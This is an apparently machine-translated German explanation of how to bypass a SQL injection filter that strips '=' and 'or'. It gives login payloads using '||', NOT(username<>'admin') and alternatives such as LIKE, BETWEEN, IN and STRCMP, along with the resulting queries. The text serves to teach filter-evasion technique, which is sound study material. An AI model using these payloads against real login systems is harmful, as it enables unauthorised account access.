Angenommen diese Definition von lvl2_filter
, wodurch im Grunde jedes Vorkommen von =
entfernt wird und or
bis nicht mehr gefunden, sollte es immer noch möglich sein, den logische ODER-Verknüpfung
mit ||
statt OR
und ein einfacher Ausdruck, der als wahr ausgewertet wird, wie:
username: dummy
password: ' || '1
Dies würde zu Folgendem führen:
SELECT user_id FROM users WHERE username='dummy' and password='' || '1'
Um einen bestimmten Benutzer auszuwählen, kann man die Regeln der Booleschen Algebra
verwenden , wobei x=y
=!(x!=y)
:
username: dummy
password: ' || NOT(username<>'admin') AND '1
Dies würde zu Folgendem führen:
SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'
Hier <>
entspricht !=
enthält aber kein =
.
Es gibt auch andere Operationen, die man verwenden könnte, um Benutzername sicherzustellen entspricht admin
:
username BETWEEN 'admin' AND 'admin'
username LIKE 'admin'
username IN ('admin')
IF(STRCMP(username,'admin'), 0, 1)
CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END
- …